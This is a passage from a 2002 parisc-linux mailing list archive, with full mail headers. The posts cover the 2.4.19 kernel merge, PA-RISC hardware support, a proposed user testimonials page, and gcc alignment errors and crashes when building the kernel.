(incidentally, we also see this while building glibc...)

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19 merge
Date: Tue, 16 Jul 2002 00:40:45 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020716064045.1D1F24863@dsl2.external.hp.com>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk> <1026743879.30202.5.camel@irongate.swansea.linux.org.uk> <20020715230306.93501485E@dsl2.external.hp.com>  <1026779010.31925.44.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621522 10959 80.91.229.3 (22 Nov 2014 01:58:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 00:40:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1D1F24863; Tue, 16 Jul 2002 00:40:45 -0600 (MDT)
In-Reply-To: Message from Alan Cox <alan@lxorguk.ukuu.org.uk> 
   of "16 Jul 2002 01:23:30 BST." <1026779010.31925.44.camel@irongate.swansea.linux.org.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15503

Alan Cox wrote:
> > Basically with his code, I needed few or no changes to drivers/pci.
> > I'd have to review the diff again.
> > Ivan last sent me a patch on 18.4.2002.
> > You want matching changes for arch/parisc as well?
> 
> That would be interesting to see yes

Original diff from Ivan (plus email comments) is
	ftp://ftp.parisc-linux.org/patches/pci-20020418-ink.diff

Diff against -pa55 (including my changes) is at:
	ftp://ftp.parisc-linux.org/patches/pci-20020418-pa55.diff

DEBUG should probably be disabled in drivers/pci/setup-bus.c.

grant


From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Tue, 16 Jul 2002 09:29:12 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <3D33CB48.6050208@esiee.fr>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk> <1026743879.30202.5.camel@irongate.swansea.linux.org.uk>  <20020715143909.K27706@parcelfarce.linux.theplanet.co.uk> <20020715215022.A8251485D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621523 10965 80.91.229.3 (22 Nov 2014 01:58:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:43 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 01:29:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C74B6487B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Jul 2002 01:29:13 -0600 (MDT)
Original-Received: from esiee.fr (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with ESMTP
	id 6D49B49BE7; Tue, 16 Jul 2002 09:29:12 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
X-Accept-Language: fr-fr, fr
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15504

Grant Grundler wrote:

>Matthew Wilcox wrote:
>  
>
>>But the K class hardware is not well supported.  Lan and Console
>>are the only two devices which really work; the SCSI cards don't use the
>>normal NCR/Symbios chips but a proprietary chip instead.
>>    
>>
>
>Not entirely correct. K-class has both HSC (GSC follow-on) and HP-PB "slots".
>IIRC, the built-in SCSI is HSC based. But you are right in that all the HP-PB
>crud isn't supported.
>
>  
>
>>Hmm.. anyone want to do a `testimonials' section on the website which
>>lists peoples (successful ;-) experiences with using PA/Linux in
>>production environments?
>>    
>>
>
>ESIEE folks have that already in their "what's supported" HW listing.
>Please see the ESIEE "puffin" site for where to submit them.
>  
>
I don't think Matthew wath thinking about that. This HW list gives just 
an indication if this is working or not.
What I understand here is a list of something like:
I currently use a B132 in production environment since November, 2001. 
It provides a CVS server, apache with PHP and  a postgresql database. 
The kernel is pretty old (2.4.14-32), but the only shutdown (and end of 
services) I had to notice where caused by powerfailure.
Use of Php is quite recent.
Matthew, does these (real) example correspond to your suggestion?

>  
>
>[...]
>
>hth,
>grant
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>  
>





From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Tue, 16 Jul 2002 11:02:46 +0200 (CEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <1026810166.3d33e13623097@webmail.tiscalinet.be>
References: <200207151721.g6FHL72e024968@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621523 10966 80.91.229.3 (22 Nov 2014 01:58:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:43 +0000 (UTC)
Cc: tausq@debian.org, joel.soete@freebel.net,
	parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 03:02:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E0A54867
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 03:02:52 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17UOEI-0005Yo-00; Tue, 16 Jul 2002 11:02:46 +0200
In-Reply-To: <200207151721.g6FHL72e024968@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15505

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > Is --disable-indexing used in kernel builds?  This should stop gcc
> > from generating the above.
> 
> Oops, that should be "-mdisable-indexing".

Sorry Dave,

it do not help (system still crashing)

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.[02] alignment problem
Date: 16 Jul 2002 11:18:24 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <1026814704.1687.11.camel__28524.7437809177$1416621524$gmane$org@irongate.swansea.linux.org.uk>
References: <20020716050031.GA641@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621524 10969 80.91.229.3 (22 Nov 2014 01:58:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:44 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, gcc@gcc.gnu.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 03:08:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id D90A04889
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 03:08:12 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6GAIQu6001878;
	Tue, 16 Jul 2002 11:18:27 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6GAIPxq001876;
	Tue, 16 Jul 2002 11:18:25 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20020716050031.GA641@tausq.org>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15506

On Tue, 2002-07-16 at 06:00, Randolph Chung wrote:
> Compiling the linux kernel (2.4.19-rc1-ac5) with hppa64-linux-gcc 
> (3.0.4 or 3.2) gives:
> 
> tausq@a500:~/src/linux-2.4.19-rc1/net/ipv4$ hppa64-linux-gcc -D__KERNEL__ -I/home/tausq/src/linux-2.4.19-rc1/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I /usr/lib/gcc-lib/hppa64-linux/3.0/include -DKBUILD_BASENAME=tcp_diag  -c -o tcp_diag.o tcp_diag.c
> {standard input}: Assembler messages:
> {standard input}:138: Error: Field not properly aligned [8] (44).
> {standard input}:138: Error: Invalid operands

The pa-risc tree has a disgusting hack to work around this. Its one of
the bits I have down in the "vomit grade" pile of bits to look into
during the rest of the merge.




From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19 merge
Date: 16 Jul 2002 11:31:19 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <1026815479.1688.18.camel@irongate.swansea.linux.org.uk>
References: <20020714091619.B1E35483A@dsl2.external.hp.com>	<20020715142028.J27706@parce
	 lfarce.linux.theplanet.co.uk>
	<1026743879.30202.5.camel@irongate.swansea.linux.org.uk> 
	<20020715230306.93501485E@dsl2.external.hp.com>
	<1026779010.31925.44.camel@irongate.swansea.linux.org.uk> 
	<3D335B27.3060808@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621524 10971 80.91.229.3 (22 Nov 2014 01:58:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 03:21:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0913488F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Jul 2002 03:21:03 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6GAVKu6001994;
	Tue, 16 Jul 2002 11:31:21 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6GAVJE7001992;
	Tue, 16 Jul 2002 11:31:19 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3D335B27.3060808@neuronet.pitt.edu>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15507

On Tue, 2002-07-16 at 00:30, Rafael E. Herrera wrote:
> Seems like the merge already begun:
> 
> http://linuxtoday.com/news_story.php3?ltsn=2002-07-15-015-26-NW-KN-DV

Thats the easy 90%. The stuff which doesn't overlap other platforms is
in there so I have a tree that I can point people back to if we get
breakage from later merges.

Some of it like the PCI changes is going to be hard.



From - Thu Nov 08 21:23:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: testimonials (was Re: [parisc-linux] STI framebuffer and PINE)
Date: Tue, 16 Jul 2002 12:12:45 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <92592E69-98A4-11D6-AA82-0030656F07A2@esiee.fr>
References: <3D33CB48.6050208@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621524 10976 80.91.229.3 (22 Nov 2014 01:58:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:44 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 04:12:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D33B84881
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Jul 2002 04:12:45 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id F401749BF5; Tue, 16 Jul 2002 12:12:44 +0200 (CEST)
In-Reply-To: <3D33CB48.6050208@esiee.fr>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15508

Le mardi 16 juillet 2002, =E0 09:29 , Matthieu Delahaye a =E9crit :

> Grant Grundler wrote:
>
>> Matthew Wilcox wrote:
>>
>>> Hmm.. anyone want to do a `testimonials' section on the website =
which
>>> lists peoples (successful ;-) experiences with using PA/Linux in
>>> production environments?
>>>
>>
>> ESIEE folks have that already in their "what's supported" HW listing.
>> Please see the ESIEE "puffin" site for where to submit them.
>>
> I don't think Matthew wath thinking about that. This HW list gives =
just=20
> an indication if this is working or not.
> What I understand here is a list of something like:
> I currently use a B132 in production environment since November, 2001.=20=

> It provides a CVS server, apache with PHP and  a postgresql database.=20=

> The kernel is pretty old (2.4.14-32), but the only shutdown (and end =
of=20
> services) I had to notice where caused by powerfailure.
> Use of Php is quite recent.
> Matthew, does these (real) example correspond to your suggestion?
>
Hi fellows!

I'm currently working on a big review of our supported hardware list.
A testimonial section is definitely something that can be considered !

Please check this mail i sent a month ago about this review:
http://lists.parisc-linux.org/pipermail/parisc-
linux/2002-June/016572.html

I'd enjoy any feedback about it, and of course any supplementary=20
testimonial
would be greatly welcomed.

Thank you for your support,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Tue, 16 Jul 2002 12:36:18 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20020716123618.U27706@parcelfarce.linux.theplanet.co.uk>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk> <1026743879.30202.5.camel@irongate.swansea.linux.org.uk> <20020715143909.K27706@parcelfarce.linux.theplanet.co.uk> <20020715215022.A8251485D@dsl2.external.hp.com> <3D33CB48.6050208@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621524 10980 80.91.229.3 (22 Nov 2014 01:58:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:44 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 05:36:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2CBB4846
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Jul 2002 05:36:20 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17UQcs-0007ML-00; Tue, 16 Jul 2002 12:36:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D33CB48.6050208@esiee.fr>; from delahaym@esiee.fr on Tue, Jul 16, 2002 at 09:29:12AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15509

On Tue, Jul 16, 2002 at 09:29:12AM +0200, Matthieu Delahaye wrote:
> I don't think Matthew wath thinking about that. This HW list gives just 
> an indication if this is working or not.
> What I understand here is a list of something like:
> I currently use a B132 in production environment since November, 2001. 
> It provides a CVS server, apache with PHP and  a postgresql database. 
> The kernel is pretty old (2.4.14-32), but the only shutdown (and end of 
> services) I had to notice where caused by powerfailure.
> Use of Php is quite recent.
> Matthew, does these (real) example correspond to your suggestion?

Yep, that's perfect!

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.[02] alignment problem
Date: Tue, 16 Jul 2002 08:26:05 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20020716122605.GB31977@systemhalted>
References: <20020716050031.GA641@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621525 10981 80.91.229.3 (22 Nov 2014 01:58:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 06:27:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA06B4881
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 06:27:56 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17URP3-0008Lq-00; Tue, 16 Jul 2002 08:26:05 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Randolph Chung <randolph@tausq.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020716050031.GA641@tausq.org>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (28% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15510

> Compiling the linux kernel (2.4.19-rc1-ac5) with hppa64-linux-gcc 
> (3.0.4 or 3.2) gives:
> 
> tausq@a500:~/src/linux-2.4.19-rc1/net/ipv4$ hppa64-linux-gcc -D__KERNEL__ -I/home/tausq/src/linux-2.4.19-rc1/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I /usr/lib/gcc-lib/hppa64-linux/3.0/include -DKBUILD_BASENAME=tcp_diag  -c -o tcp_diag.o tcp_diag.c
> {standard input}: Assembler messages:
> {standard input}:138: Error: Field not properly aligned [8] (44).
> {standard input}:138: Error: Invalid operands
> {standard input}:609: Error: Field not properly aligned [8] (44).
> {standard input}:609: Error: Invalid operands
> {standard input}:707: Error: Field not properly aligned [8] (44).
> {standard input}:707: Error: Invalid operands
> 
> preprocessed source attached.
> 
> (incidentally, we also see this while building glibc...)
> 
> randolph

Preprocessed source attached?

Remember we ran into this when building glibc at OLS.... and
we sat there scratching our heads. I'm pretty sure this was the
reason for the hppa-align.dpatch that is part of debianzed gcc?

Randolph: There is a forward email inside the dpatch that says
you were going to try get this patch upstream... ? :)
(gcc 3.0.4 ./debian/patches/hppa-align.dpatch)

c.


From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
